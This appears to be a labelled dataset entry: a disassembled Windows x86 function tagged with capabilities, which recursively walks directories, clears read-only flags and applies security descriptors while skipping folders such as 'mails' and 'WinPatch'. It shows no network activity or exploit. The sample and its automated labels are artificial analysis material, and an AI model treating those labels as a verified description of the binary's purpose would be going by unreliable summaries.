Function at 0x1131056e
Capabilities:
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x66c
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
cmp esi, ebx
push edi
je 0x113107f9
push esi
call fcn.11363fc6
test eax, eax
pop ecx
je 0x113107f9
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 4]
push ebx
push eax
push esi
mov dword [ebp - 4], ebx
call fcn.1130c95e
add esp, 0x1c
cmp dword [ebp - 4], 0xffffffff
je 0x113105c5
test byte [ebp - 4], 1
je 0x113105c5
and dword [ebp - 4], 0xfffffffe
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.ADVAPI32.dll_SetFileSecurityW]
cmp eax, ebx
mov dword [ebp - 8], eax
je 0x113107f4
mov ecx, dword [ebp - 4]
and ecx, 0x10
cmp cl, 0x10
jne 0x113107fb
push 0x5c
push esi
call fcn.11363f37
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
je 0x113106dd
inc esi
push str.mails
inc esi
push esi
call fcn.11364f9c
pop ecx
test eax, eax
pop ecx
je 0x113107f4
push str.MailsTemp
push esi
call fcn.11364f9c
pop ecx
test eax, eax
pop ecx
je 0x113107f4
push str.MailsLeave
push esi
call fcn.11364f9c
pop ecx
test eax, eax
pop ecx
je 0x113107f4
push str.files
push esi
call fcn.11364f9c
pop ecx
test eax, eax
pop ecx
je 0x113107f4
push str.WinPatch
push esi
call fcn.11364f9c
pop ecx
test eax, eax
pop ecx
je 0x113107f4
push str.tsdocbak
push esi
call fcn.11364f9c
pop ecx
test eax, eax
pop ecx
je 0x113107f4
push 0x1156a91c
push esi
call fcn.11364f9c
pop ecx
test eax, eax
pop ecx
je 0x113107f4
push 0x1156a910
push esi
call fcn.11364f9c
pop ecx
test eax, eax
pop ecx
je 0x113107f4
push str.SCDT
push esi
call fcn.11364f9c
pop ecx
test eax, eax
pop ecx
je 0x113107f4
mov edi, str.Temp_Docerr_
push edi
call fcn.11363fc6
push eax
push edi
push esi
call fcn.1136507b
add esp, 0x10
test eax, eax
je 0x113107f4
mov word [ebp - 0x66c], bx
mov ebx, 0x81
push dword [ebp + 8]
mov ecx, ebx
xor eax, eax
lea edi, [ebp - 0x66a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov esi, 0x103
push 0x1156a8dc
lea eax, [ebp - 0x66c]
push esi
push eax
call fcn.113644a6
add esp, 0x10
test eax, eax
jl 0x113107f9
and dword [ebp - 0x25c], 0
mov ecx, 0x93
xor eax, eax
lea edi, [ebp - 0x258]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x66c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x113107f4
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
lea eax, [ebp - 0x230]
push 0x1156a5c8
push eax
call edi
test eax, eax
je 0x113107cd
lea eax, [ebp - 0x230]
push 0x1156a5c4
push eax
call edi
test eax, eax
je 0x113107cd
and word [ebp - 0x464], 0
mov ecx, ebx
xor eax, eax
lea edi, [ebp - 0x462]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x464]
push dword [ebp + 8]
push 0x115674b0
push esi
push eax
call fcn.113644a6
add esp, 0x14
test eax, eax
jl 0x113107cd
push dword [ebp + 0x10]
lea eax, [ebp - 0x464]
push dword [ebp + 0xc]
push eax
call fcn.1131056e
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x113107eb
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x11310752
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 8]
jmp 0x113107fb
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret